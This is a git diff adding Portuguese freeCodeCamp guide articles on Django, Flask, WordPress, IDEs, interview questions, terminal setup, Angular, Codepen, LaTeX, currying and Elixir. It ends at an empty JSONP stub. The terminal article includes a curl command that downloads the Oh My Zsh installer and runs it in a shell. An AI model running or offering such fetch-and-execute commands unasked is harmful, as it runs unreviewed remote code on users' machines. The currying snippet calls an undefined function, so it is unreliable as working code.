+[**Jazzing up the Terminal**](//forum.freecodecamp.com/t/jazzing-up-the-terminal/18386) | [**Índice**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**Download de editores de texto e IDEs**](//forum.freecodecamp.com/t/downloading-text-editors-and-ides/18384)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/installing-django-in-virtual-environment/index.md b/client/src/guide/portuguese/miscellaneous/installing-django-in-virtual-environment/index.md
new file mode 100644
index 0000000000..d7fdd81cbe
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/installing-django-in-virtual-environment/index.md
@@ -0,0 +1,32 @@
+---
+title: Installing Django in Virtual Environment
+localeTitle: Instalando o Django no ambiente virtual
+---
+[O Django](https://www.djangoproject.com) é uma estrutura opinativa que ajuda você a se tornar produtivo. Por exemplo, a estrutura do arquivo quando você cria um projeto do Django. Mas, se você deseja explorar o campo de desenvolvimento web em Python em detalhes; talvez o [Flask](http://flask.pocoo.org/) esteja mais no seu beco. Sinta-se à vontade para pular esta parte do artigo e pular diretamente para a [ajuda da Instalação](#installing-flask-in-virtual-environment) do [Flask](#installing-flask-in-virtual-environment)
+
+Como desta escrita, a versão atual do Django era o Django 1.9.2. Mas quando você está lendo isso, agora, pode ser mais alto.
+
+O guia de instalação oficial está disponível [aqui](https://docs.djangoproject.com/en/1.9/intro/install/#install-django) . Você deve instalar o último lançamento estável e oficial; e **não** a última versão de desenvolvimento (a menos que você saiba o que está fazendo e gosta de viver perigosamente!)
+
+Mas antes de começar a instalar, verifique se você está dentro de um ambiente virtual **ativado** ; onde executar o seguinte comando no terminal ficaria assim:
+```
+$ python --version 
+ Python 3.5.1 
+```
+
+Pode não ser `3.5.1` para você. Pode muito bem ser `3.4.3` . Mas tudo bem, contanto que não seja mostrado como `2.7.9` ou algo mais que comece com `2` .
+
+Depois de ter certeza de que você está em um ambiente virtual ativado, e o comando `python` aponta para um Python da versão 3; Você está pronto para instalar o Django. Basta seguir o oficial [guia de instalação](https://docs.djangoproject.com/en/1.9/topics/install/#installing-official-release) e instalá-lo com `pip` , o gerenciador de pacotes Python.
+
+Uma vez instalado seria uma ótima idéia verificar o que todos os `pip` instalaram; executando o seguinte comando:
+```
+$ pip freeze 
+```
+
+Isso produziria uma lista de módulos instalados com o Python atual; e você deve ver o Django com a versão apropriada (algo como `Django==1.9.2` na lista.
+
+Se você deseja usar o Windows, a discussão acima não é aplicável a você. Talvez você tenha acesso apenas a uma máquina Windows e, por motivos pessoais, prefira não trabalhar em uma caixa Linux baseada em navegador na nuvem (conexão lenta, talvez?).
+
+Você pode seguir este [tutorial](https://docs.djangoproject.com/en/1.9/howto/windows/) e configurar o Django com o Python 3 em sua máquina Windows.
+
+Ou você pode usar o [Virtualbox](https://www.virtualbox.org/) com uma caixa [Vagrant](https://www.vagrantup.com/) para o desenvolvimento do Django diretamente na sua máquina!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/installing-flask-in-virtual-environment/index.md b/client/src/guide/portuguese/miscellaneous/installing-flask-in-virtual-environment/index.md
new file mode 100644
index 0000000000..35ffcecaf1
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/installing-flask-in-virtual-environment/index.md
@@ -0,0 +1,100 @@
+---
+title: Installing Flask in Virtual Environment
+localeTitle: Instalando o Flask no Ambiente Virtual
+---
+Se você deseja usar o Flask, você está no lugar certo! Mas instale o Flask, só porque você quer explorar o desenvolvimento web no Flask. Nós sempre recomendamos o Django sobre o Flask, porque fica difícil construir grandes aplicações web no Flask; se você é novo no desenvolvimento web em Python.
+
+O frasco é um micro-framework; e você pode escolher a funcionalidade que deseja ter sobre a funcionalidade barebone básica que você já tem de um framework web padrão. Mas se você não quiser fazer todo o trabalho e se concentrar em construir sua ideia; talvez o Django fosse uma companhia melhor para o caminho a seguir.
+
+Suponho que você **não** tenha pulado a seção sobre a instalação do Python 3 e o use dentro de um ambiente virtual.
+
+Primeiro, certifique-se de que você não esteja dentro de um ambiente virtual. Em seguida, crie um novo ambiente virtual, chamado `py3-flask`
+```
+$ mkvirtualenv py3-flask --python=/usr/bin/python3 
+```
+
+Agora, execute o comando `workon` para ver uma lista de ambientes virtuais em sua máquina. Isso deve listar `py3-flask` em uma linha.
+
+Depois disso, ative este ambiente:
+```
+$ workon py3-flask 
+```
+
+Seu ambiente virtual seria ativado com uma cópia do interpretador Python, com as propriedades do Python 3. Você deveria correr
+```
+$ python --version 
+```
+
+para garantir que você esteja realmente dentro de um ambiente do Python 3.
+
+Só para ficar claro, se você já tiver instalado Django seguinte seção anterior - **não** deve ser neste ambiente. Estamos usando o ambiente virtual; para manter nossa instalação de diferentes estruturas separadas.
+
+Para ter certeza, corra
+```
+pip freeze 
+```
+
+Certifique-se de que o Django não esteja listado na lista de saída gerada pelo comando acima.
+
+Agora vamos instalar o Flask. Para sua análise, aqui está o [guia de instalação oficial](http://flask.pocoo.org/docs/0.10/installation/) . No entanto, muitos desenvolvedores preferem instalar alguns pacotes extras com o Flask; para mais funcionalidade.
+
+Para instalar apenas Flask, exeute
+```
+$ pip install flask 
+```
+
+Quando você executar o `pip freeze` novamente, ele deverá mostrar o `Flask` nos pacotes listados.
+
+É complicado executar longos comandos como este. Felizmente, também existe algo como `package.json` no domínio Python - uma lista de dependências, que o gerenciador de pacotes pode usar para duplicar o ambiente fazendo o download delas com a versão apropriada do repositório central.
+
+O padrão é usar o `pip freeze` e registrar a saída em um arquivo local, que pode ser controlado por fonte.
+```
+$ pip freeze > requirements.txt 
+```
+
+Aqui está o conteúdo de `requirements.txt` do meu ambiente, depois de instalar esses pacotes Flask. Você pode adicionar ou remover mais pacotes à medida que seu aplicativo cresce; mas por enquanto, basta copiar e colar o conteúdo do seguinte em um arquivo de texto no mesmo diretório em que você está.
+```
+Babel==2.2.0 
+ Flask==0.10.1 
+ Flask-Babel==0.9 
+ Flask-Login==0.3.2 
+ Flask-Mail==0.9.1 
+ Flask-OpenID==1.2.5 
+ Flask-SQLAlchemy==2.1 
+ Flask-WTF==0.12 
+ Flask-WhooshAlchemy==0.56 
+ Jinja2==2.8 
+ MarkupSafe==0.23 
+ SQLAlchemy==1.0.12 
+ Tempita==0.5.2 
+ WTForms==2.1 
+ Werkzeug==0.11.4 
+ Whoosh==2.7.2 
+ blinker==1.4 
+ coverage==4.0.3 
+ decorator==4.0.9 
+ defusedxml==0.4.1 
+ flipflop==1.0 
+ guess-language==0.2 
+ itsdangerous==0.24 
+ pbr==1.8.1 
+ python3-openid==3.0.9 
+ pytz==2015.7 
+ six==1.10.0 
+ speaklater==1.3 
+ sqlalchemy-migrate==0.10.0 
+ sqlparse==0.1.18 
+```
+
+Esta lista de pacotes é retirada [daqui](http://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world) .
+
+Depois de salvar o arquivo, basta executar
+```
+$ pip install -r requirements.txt 
+```
+
+O gerenciador de pacotes cuidaria de instalar os pacotes que faltam para você! E você deve cometer este arquivo com o seu sistema de controle de origem.
+
+O conjunto de comandos acima assume que você tem uma máquina Linux ou máquina Mac OSX; ou você está usando uma caixa hospedada em nuvem no cloud9 ou Nitrous; ou talvez você esteja usando uma caixa Vagrant.
+
+Mas, se você tiver que usar uma máquina Windows, considere usar o Windows Powershell, em vez do Windows CMD. A maioria dos comandos seria o mesmo. Caso você precise de ajuda, talvez queira verificar [essa discussão sobre estouro de pilha](http://stackoverflow.com/questions/17917254/how-to-install-flask-on-windows) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/installing-wordpress-locally-on-mac/index.md b/client/src/guide/portuguese/miscellaneous/installing-wordpress-locally-on-mac/index.md
new file mode 100644
index 0000000000..a0e0121c46
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/installing-wordpress-locally-on-mac/index.md
@@ -0,0 +1,60 @@
+---
+title: Installing Wordpress Locally on Mac
+localeTitle: Instalando o Wordpress Localmente no Mac
+---
+Instalar o WordPress localmente permitirá que você crie temas com segurança e permitirá que você experimente o WordPress gratuitamente sem pagar pela hospedagem.
+
+## Transferências Necessárias:
+
+*   [MAMP](https://www.mamp.info/en/)
+*   [WordPress](https://wordpress.org/about/)
+
+O primeiro passo para instalar o WordPress localmente é fazer o download do MAMP. MAMP significa Macintosh, Apache, MySQL e PHP. Este é o servidor local que executará a nova instalação do WordPress. Instalar o MAMP deve ser fácil, porque é como instalar qualquer outro aplicativo.
+
+Depois que o MAMP for instalado, você desejará desinstalar o MAMP pro. Para fazer isso, basta navegar até a pasta de aplicativos e encontrar a pasta pro do MAMP. Haverá um desinstalador dentro desta pasta. Eu escolhi clicar em todas as caixas de seleção, já que é uma nova instalação do MAMP.
+
+## Configurando o MAMP
+
+Abra o aplicativo MAMP e você deve ser saudado com esta tela:
+
+Temos que definir algumas preferências, então clique no ícone de preferências. Na tela de preferências, clique em `Ports` .
+
+Aqui você pode deixar as portas como está, o que exigirá que você inclua o número da porta na URL `localhost:8888` .
+
+Se você não quiser incluir o número da porta na URL, poderá alterar as portas do Apache e do MySQL para 80. A razão pela qual optei por não fazer isso é porque você sempre será solicitado a fornecer sua senha.
+
+Em seguida, você clicará na guia Apache e definirá uma raiz de documento. Eu escolhi criar uma nova pasta chamada "Sites" na minha pasta de usuário.
+
+Agora que terminamos de editar todas as configurações, clique em OK para salvar.
+
+## Começando MAMP
+
+Para iniciar o MAMP, clique em "Iniciar Servidores".
+
+Isso deve abrir uma nova janela com o endereço `http://localhost:8888/MAMP/?language=English` no seu navegador da web.
+
+Se o seu navegador não abrir, você poderá clicar `Open WebStart page` .
+
+Criando um banco de dados
+
+O próximo passo é clicar no link `phpMyAdmin` em MySQL, que o levará a esta página:
+
+Clique em novo no menu de navegação à esquerda.
+
+Digite um nome para o banco de dados e clique em criar. Eu escolhi o "WordPress".
+
+## Instalando o WordPress
+
+Descompacte o arquivo do WordPress que você baixou e arraste o conteúdo para a pasta que você criou anteriormente como raiz do documento.
+
+Depois que os arquivos forem copiados, vá para `localhost:8888` .
+
+Escolha seu idioma e, na tela seguinte, clique em `Let's Go` .
+
+Digite o nome do banco de dados que você criou e "root" para o nome de usuário e senha, e clique em enviar.
+
+Clique em `Run the install` e, na próxima tela, insira os detalhes do seu login.
+
+Clique em `Submit` , e você será levado para o login no seu WordPress local hospedado.
+
+Sucesso! Faça o login com o nome de usuário e senha que você criou.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/integrated-development-environment/index.md b/client/src/guide/portuguese/miscellaneous/integrated-development-environment/index.md
new file mode 100644
index 0000000000..c3260157f0
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/integrated-development-environment/index.md
@@ -0,0 +1,11 @@
+---
+title: Integrated Development Environment
+localeTitle: Ambiente de desenvolvimento integrado
+---
+**Ambientes de desenvolvimento integrados** são projetados para maximizar a produtividade do programador, fornecendo componentes unidos com interfaces de usuário similares. As IDEs apresentam um único programa no qual todo o desenvolvimento é feito. Este programa geralmente fornece muitos recursos para criação, modificação, compilação, implantação e depuração de software. Isso contrasta com o desenvolvimento de software usando ferramentas não relacionadas, como vi, GCC ou make.
+
+Um dos objetivos do IDE é reduzir a configuração necessária para juntar vários utilitários de desenvolvimento, em vez de fornecer o mesmo conjunto de recursos que uma unidade coesa. Reduzir esse tempo de configuração pode aumentar a produtividade do desenvolvedor, nos casos em que aprender a usar o IDE é mais rápido do que integrar manualmente todas as ferramentas individuais. Maior integração de todas as tarefas de desenvolvimento tem o potencial de melhorar a produtividade geral além de apenas ajudar nas tarefas de configuração. Por exemplo, o código pode ser analisado continuamente enquanto está sendo editado, fornecendo feedback instantâneo quando erros de sintaxe são introduzidos. Isso pode acelerar o aprendizado de uma nova linguagem de programação e suas bibliotecas associadas.
+
+Alguns IDEs são dedicados a uma linguagem de programação específica, permitindo um conjunto de recursos que melhor corresponda aos paradigmas de programação da linguagem. No entanto, existem muitos IDEs de vários idiomas, como o Eclipse, o ActiveState Komodo, o IntelliJ IDEA, o MyEclipse, o Oracle JDeveloper, o NetBeans, o Codenvy e o Microsoft Visual Studio. Xcode, Xojo e Delphi são dedicados a uma linguagem fechada ou a um conjunto de linguagens de programação.
+
+Embora os IDEs mais modernos sejam gráficos, os IDEs baseados em texto, como o Turbo Pascal, estavam em uso popular antes da ampla disponibilidade de sistemas de janelas como o Microsoft Windows e o X Window System (X11). Eles geralmente usam teclas de função ou teclas de atalho para executar comandos ou macros usados ​​com freqüência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/interview-questions-for-junior-front-end-web-developers/index.md b/client/src/guide/portuguese/miscellaneous/interview-questions-for-junior-front-end-web-developers/index.md
new file mode 100644
index 0000000000..ba285d0d3f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/interview-questions-for-junior-front-end-web-developers/index.md
@@ -0,0 +1,48 @@
+---
+title: Interview Questions for Junior Front End Web Developers
+localeTitle: Perguntas da entrevista para desenvolvedores web front-end
+---
+O objetivo deste artigo é familiarizar os novos desenvolvedores de Web front-end com questões de livro de texto. Se você está apenas entrando no mundo dos desenvolvedores, há uma boa chance de você se sentir nervoso ao entrevistar a posição de um desenvolvedor. Por causa disso, algumas questões relativamente básicas podem parecer mais difíceis do que como elas realmente são. Um bom contador para este cenário é estar adequadamente preparado.
+
+## Questões
+
+Sem mais delongas, aqui estão algumas perguntas que você pode encontrar:
+
+### HTML / CSS
+
+1.  No contexto do estilo CSS, você pode explicar o que é o `display-style: inline-block` stand for?
+2.  Se você tem um elemento `<ul>` com vários elementos `<li>` , como você configuraria esses elementos seguidos usando HTML e CSS?
+3.  No estilo CSS, quando você usaria `float` s? Como eles funcionam?
+4.  Quando você usaria: `clear: both;` ?
+5.  O que é o Bootstrap? Quando você usaria isso? Como funciona o sistema de grade?
+6.  Explique a noção de design responsivo e como ele funciona? Use um exemplo, se quiser.
+7.  O que é um DOM? O que você sabe sobre isso?
+8.  O que é o SASS? Quais são as vantagens de usá-lo?
+
+### JavaScript
+
+1.  O que é o ECMAScript?
+2.  O que é o jQuery e para que é comumente usado?
+3.  Qual é a diferença entre `==` e `===` no JS?
+4.  Você pode enumerar todos os tipos de dados JavaScript?
+5.  O que é uma função de retorno de chamada no JS e quando você usaria um?
+6.  Qual é a diferença entre `undefined` e `null` ?
+7.  O que é uma resposta assíncrona?
+8.  O que significa o JSON? Para que isso é usado?
+9.  Como você explicaria uma solicitação da API?
+10.  Com quais APIs você trabalhou?
+11.  Como você envia / converte para o formato JSON?
+12.  Qual é a diferença entre `GET` e `POST` ao especificar uma solicitação AJAX?
+
+### Software / Ferramental
+
+1.  Você já trabalhou com o Photoshop como desenvolvedor front end? Para qual propósito?
+2.  Qual sistema de versão de software você usou? Você poderia descrever como seria um fluxo de trabalho nesse sistema?
+
+### Sobre você
+
+1.  Qual foi o projeto mais difícil que você já trabalhou? Por que foi difícil? Se for um aplicativo / algoritmo, você pode explicar como funciona?
+2.  Como você se mantém atualizado com as novidades tecnológicas?
+3.  Em quais projetos paralelos você está trabalhando?
+4.  Existe algum idioma ou framework que você gostaria de aprender no futuro? Como você iria se ensinar? Por que você escolheu esses idiomas / frameworks?
+5.  Quais são as habilidades e qualidades mais importantes que um desenvolvedor de front-end júnior deve ter?
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/introduction-to-yeoman/index.md b/client/src/guide/portuguese/miscellaneous/introduction-to-yeoman/index.md
new file mode 100644
index 0000000000..1451c28686
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/introduction-to-yeoman/index.md
@@ -0,0 +1,7 @@
+---
+title: Introduction to Yeoman
+localeTitle: Introdução ao Yeoman
+---
+Yeoman é uma ferramenta que permite gerar aplicativos barebones baseados em diferentes pilhas de software usando pacotes "geradores" feitos por desenvolvedores que querem facilitar sua vida. Esses pacotes agilizam seu tempo de desenvolvimento e implantação de sites usando sua plataforma preferida. Estamos usando um gerador MEAN (MongoDB, ExpressJS, AngularJS, NodeJS) full-stack chamado [gerador-angular-fullstack](https://github.com/DaftMonk/generator-angular-fullstack) da DaftMonk.
+
+Depois de concluir o Desafio: Obter Conjunto para Projetos de Back-End, use este guia para navegar na estrutura básica de seu novo aplicativo e aprender a interagir com o banco de dados e com o usuário.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/jazzing-up-the-terminal/index.md b/client/src/guide/portuguese/miscellaneous/jazzing-up-the-terminal/index.md
new file mode 100644
index 0000000000..7040be18a8
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/jazzing-up-the-terminal/index.md
@@ -0,0 +1,45 @@
+---
+title: Jazzing Up the Terminal
+localeTitle: Jazzing Up the Terminal
+---
+Fora da caixa, o terminal enviado com o Ubuntu é um pouco sem graça. Esta seção permitirá que você se torne um usuário avançado ![:muscle:](//forum.freecodecamp.com/images/emoji/emoji_one/muscle.png?v=2 ":músculo:") .
+
+## Ferramentas:
+
+#### o Exterminador do Futuro
+
+[O Terminator](https://launchpad.net/terminator) permite que você organize vários terminais em uma interface parecida com uma grade.  
+Para instalar o Terminator, digite `sudo apt-get install terminator` no terminal.
+
+Captura de tela do Terminator:
+
+![Captura de tela do Terminator](//discourse-user-assets.s3.amazonaws.com/original/2X/6/6af4988ebfb1835ff3c19366865eaaaaf224cb19.png)
+
+#### Oh meu ZSH!
+
+Pré-requisitos:
+
+*   `git` deve ser instalado
+
+Para instalar o `ZSH` e o `Oh My ZSH!` use os seguintes comandos:
+```
+sudo apt install zsh && chsh -s $(which zsh) 
+```
+
+> Nota: você precisará sair e entrar novamente para usar o ZSH em vez de bash como seu shell padrão.
+```
+sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)" 
+```
+
+Depois de reiniciar seu terminal, `Oh My ZSH!` deve ser instalado.
+
+Finalize a [Documentação Oficial](https://github.com/robbyrussell/oh-my-zsh/wiki) para aprender como instalar plugins e temas.
+
+#### Tutoriais Avançados
+
+*   [O curso intensivo de linha de comando](http://cli.learncodethehardway.org/book/)
+*   [A arte da linha de comando](https://github.com/jlevy/the-art-of-command-line)
+*   [Aprenda o suficiente linha de comando para ser perigoso](https://www.learnenough.com/command-line-tutorial)
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior | ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") | Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")  
+[**Personalizando o Ubuntu**](//forum.freecodecamp.com/t/customizing-ubuntu/18382) | [**Índice**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**Instalando DevTools e navegadores da web modernos**](//forum.freecodecamp.com/t/installing-devtools-and-modern-web-browsers/18385)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/keep-data-in-sync-in-angular/index.md b/client/src/guide/portuguese/miscellaneous/keep-data-in-sync-in-angular/index.md
new file mode 100644
index 0000000000..6e5c9ba1f8
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/keep-data-in-sync-in-angular/index.md
@@ -0,0 +1,24 @@
+---
+title: Keep Data in Sync in Angular
+localeTitle: Mantenha os dados em sincronia no Angular
+---
+Digamos que você queira que algo apareça na visualização do usuário ao adicioná-lo ao banco de dados. Uma _coisa_ nova objeto irá mostrar instantaneamente em um loop _ng-repeat_ na sua opinião HTML se você simplesmente adicioná-lo à sua matriz local com
+```
+$scope.awesomeThings.push(newThing); 
+```
+
+Mas você ainda precisará adicioná-lo à sua coleção de banco de dados. Adicione à sua coleção com
+```
+$http.post('/api/things', newThing); 
+```
+
+Mas espere! Você logo perceberá que, enquanto todas as outras coisas em sua matriz _$ scope.awesomeThings_ têm ids exclusivos designados pelo MongoDB (sob a propriedade _._ Id\_ property), seu objeto _newThing_ não, o que tornará difícil para você em algum momento faça ações de banco de dados sobre ele (excluí-lo do banco de dados requer que você use sua propriedade _._ id\_). Então, o que você vai querer fazer depois de adicioná-lo ao array _$ scope.awesomeThings_ (porque queremos que ele apareça na página do usuário imediatamente). No geral, o seu código para adicionar um newThing ao seu array local e banco de dados será parecido com:
+```
+$scope.awesomeThings.push(newThing); 
+ $http.post('/api/things', newThing).success(function(thatThingWeJustAdded) { 
+    $scope.awesomeThings.pop(); // let's lose that id-lacking newThing 
+    $scope.awesomeThings.push(thatThingWeJustAdded); // and add the id-having newThing! 
+ }; 
+```
+
+Isso atualiza a matriz local para resultados aparentemente instantâneos para o usuário e, em seguida, sincroniza-a com o banco de dados e atualiza a matriz local em segundo plano com a versão do banco de dados do objeto _newThing_ , exclusivo _._ id\_ e tudo. Observe que o callback que passamos para a função _success_ recebe a nova _coisa_ do banco de dados como um argumento! Dessa forma, você pode facilmente adicioná-lo de volta ao seu escopo local sem muita sobrecarga.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/known-issues-with-codepen/index.md b/client/src/guide/portuguese/miscellaneous/known-issues-with-codepen/index.md
new file mode 100644
index 0000000000..bdeecfbeef
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/known-issues-with-codepen/index.md
@@ -0,0 +1,16 @@
+---
+title: Known Issues with Codepen
+localeTitle: Problemas conhecidos com Codepen
+---
+Os alunos do Free Code Camp são encorajados a usar o [Codepen.io](http://www.codepen.io/) para montar projetos, e o Codepen é um recurso fantástico para reunir rapidamente códigos utilizáveis. No entanto, o Codepen introduz um nível adicional de abstração no processo de depuração de código. Aqui estão alguns problemas conhecidos que podem te enganar no Codepen, se você não estiver ciente deles:
+
+1.  **Problema de URL com tags de âncora:** CodePen substitui `<a href='URL'>` elementos de âncora, o que significa que você precisa adicionar um `target='_blank'` aos elementos de âncora - caso contrário, eles não funcionarão.
+2.  **Problema do plug-in https:** a extensão do Chrome "HTTPS Everywhere" (criada pela [Electronic Frontiers Foundation](http://www.eff.org/) ) interfere nas chamadas do AJAX. Como a extensão usa automaticamente HTTPS, isso pode causar um erro de "conteúdo misto" que impede que os dados JSON / XML sejam carregados. Se você encontrar tal erro, certifique-se de que seus plugins não sejam os culpados. Opcionalmente, você pode usar o [crossorigin.me](http://crossorigin.me) como proxy.
+3.  **imgur hotlinking:** Se você usar imagens de [http://imgur.com,](http://imgur.com) elas não aparecerão a maior parte do tempo, isso é devido a seus TOS. Uma maneira de resolver isso é usar um serviço alternativo como [http://postimg.org](http://postimg.org)
+4.  **recarregamento automático:** por padrão, sempre que você fizer alterações nas janelas do editor HTML ou JS, a janela de visualização será atualizada. Você pode desativar isso e ativar um "botão Executar", indo para Configurações> Comportamento> "Quer um botão Executar?" e desmarcando a caixa.
+5.  **location.reload:** Se você se deparar com um problema de seu código trabalhando na visualização de depuração ou no JSFiddle, mas não na visualização do editor do Codepen ou na visualização de página inteira, verifique novamente se você usou `location.reload()` . Se você fez, você tem que encontrar uma outra maneira de alcançar desejado, porque Codepen irá retirar `location.reload` e deixar apenas `()` em seu código. Leia mais [aqui:](https://blog.codepen.io/documentation/editor/things-we-strip/)
+6.  **exibir imagens, adicionar arquivos css / js, hospedados no Github:** você pode querer incluir em sua folha de estilo do projeto Codepen, imagem ou arquivo js hospedado em um Github. Se você adicionar o link Github do seu arquivo às suas configurações no Codepen, ou ao seu html / css ele não funcionará fora da caixa. O que você precisa fazer é:
+    1.  Vá para a versão "Raw" do arquivo
+    2.  Copie o URL
+    3.  Mude `raw.githubusercontent.com` para `rawgit.com`
+    4.  usar essa URL para vincular a arquivos hospedados em um github
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-a-little-about-latex/index.md b/client/src/guide/portuguese/miscellaneous/learn-a-little-about-latex/index.md
new file mode 100644
index 0000000000..a60090b664
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-a-little-about-latex/index.md
@@ -0,0 +1,47 @@
+---
+title: Learn a Little About Latex
+localeTitle: Aprenda um pouco sobre o látex
+---
+LaTeX é projetado para a produção de documentação técnica e científica. Você pode criar matrizes, matrizes ou várias outras funções matemáticas.
+
+`$$ (latex language) $$`
+
+Você pode inserir Latex no GitterIM. Exemplos:
+
+## Matriz
+```
+$$\begin{array} {cc} 
+ arr11 & arr12\\ 
+ arr21 & arr22\\ 
+ \end{array}$$ 
+```
+
+## Matriz
+```
+$$\begin{pmatrix} 1 & 0 \\ 0 & 1 \end{pmatrix}$$ 
+```
+
+## Formatação
+```
+$$\huge\textstyle\color{#F00}{BigRed}\small\textstyle\color{#0F0}{SmallGreen}$$ 
+```
+
+[Suporte de Função](https://github.com/Khan/KaTeX/wiki/Function-Support-in-KaTeX)
+
+## Detalhes
+
+[KaTeX Github Repo](https://github.com/Khan/KaTeX) LaTeX é um sistema de composição de alta qualidade; inclui recursos projetados para a produção de documentação técnica e científica. LaTeX é o padrão de fato para a comunicação e publicação de documentos científicos. Suas vantagens são notáveis ​​em documentos longos como livros, trabalhos ou teses.
+
+O Gitter usa o Katex (uma implementação personalizada do LaTeX) e pode ser usado introduzindo o seguinte código:
+```
+$$\begin{array} {cc} 
+ item11 & item12\ 
+ item21 & item 22\ 
+ \end{array} 
+ $$ 
+```
+
+Texto:
+
+*   `$$\huge\textstyle{some text}$$` -> $$ \\ enorme \\ textstyle {algum texto} $$
+*   `$$\color{#F90}{some text}$$` -> $$ \\ color {# F90} {some text} $$
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-currying/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-currying/index.md
new file mode 100644
index 0000000000..0b8cdf23ec
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-currying/index.md
@@ -0,0 +1,46 @@
+---
+title: Learn About Currying
+localeTitle: Aprenda sobre o currying
+---
+É o ato de pegar uma função com mais de um argumento e convertê-la em uma função equivalente que usa um único argumento. Isso é baseado no retorno de funções parcialmente aplicadas.
+
+**Original**
+```
+function add (verb, a, b) { 
+   return "The " + verb + " of " + a + ' and ' + b + ' is ' + (a + b) 
+ } 
+ 
+ add('sum', 5, '6') 
+   //=> 'The sum of 5 and 6 is 11' 
+```
+
+**Versão Curry**
+```
+function addCurried (verb) { 
+    return function (a) { 
+      return function (b) { 
+        return "The " + verb + " of " + a + ' and ' + b + ' is ' + (a + b) 
+      } 
+    } 
+  } 
+ 
+  addCurried('total')(6)(5) 
+   //=> 'The total of 6 and 5 is 11' 
+```
+
+Currying à mão seria um esforço incrível, mas sua estreita relação com a aplicação parcial significa que, se você deixou a aplicação parcial, poderá obter currying. Ou se você tiver curry, você pode obter aplicação parcial esquerda.
+
+Aqui está uma função que curries qualquer função com dois argumentos:
+```
+  function curryTwo (fn) { 
+    return function (x) { 
+      return callFirst(fn, x) 
+    } 
+  } 
+ 
+  function add2 (a, b) { return a + b } 
+ 
+  curryTwo(add2)(5)(6) 
+   //=> 11 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-elixir/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-elixir/index.md
new file mode 100644
index 0000000000..e4a9531fd4
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-elixir/index.md
@@ -0,0 +1,11 @@
+---
+title: Learn About Elixir
+localeTitle: Saiba mais sobre o Elixir
+---
+![Logo Elixir](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ffb29c7c694656265e093920b571731fb25b6029.png)
+
+[Elixir](http://elixir-lang.org/) é uma [linguagem de](https://en.wikipedia.org/wiki/Type_system#Dynamic_type_checking_and_runtime_type_information) [programação funcional e](https://en.wikipedia.org/wiki/Functional_programming) [dinâmica](https://en.wikipedia.org/wiki/Type_system#Dynamic_type_checking_and_runtime_type_information) , que usa o [Erlang](https://www.erlang.org/) VM.
+
+Foi criado por [José Valim](https://github.com/josevalim) , como parte de um projeto de pesquisa e desenvolvimento. O desenvolvimento do Elixir começou no [início de 2011](https://github.com/elixir-lang/elixir/graphs/contributors) ; e ganhou grande popularidade nos últimos cinco anos.
+
+Com uma comunidade ativa entusiasta por trás, o Elixir é uma linguagem que preserva a sanidade e traz alegria na codificação.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-html-entities/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-html-entities/index.md
new file mode 100644
index 0000000000..ac74cb2692
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-html-entities/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn About HTML Entities
+localeTitle: Aprenda sobre entidades de HTML
+---
+Existem determinados caracteres em HTML reservados pela linguagem, por exemplo `<` e `>` . Usá-los em um arquivo HTML para algo diferente de tags pode resultar em erros porque seu navegador pode interpretá-los como tags. Uma maneira de contornar esse problema é usando entidades HTML:
+
+`<` pode ser escrito como `&lt;` enquanto `>` pode ser escrito como `&gt;` e eles serão renderizados como esperado no navegador.
+
+Uma lista completa de entidades HTML para outros caracteres reservados e caracteres que não estão em seu teclado, como © e ∑, pode ser encontrada em [https://dev.w3.org/html5/html-author/charref](https://dev.w3.org/html5/html-author/charref) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-jsonp/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-jsonp/index.md
new file mode 100644
index 0000000000..d5f9c03c15
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-jsonp/index.md
@@ -0,0 +1,28 @@
+---
+title: Learn About Jsonp
+localeTitle: Saiba mais sobre o Jsonp
+---
+## JSONP
+
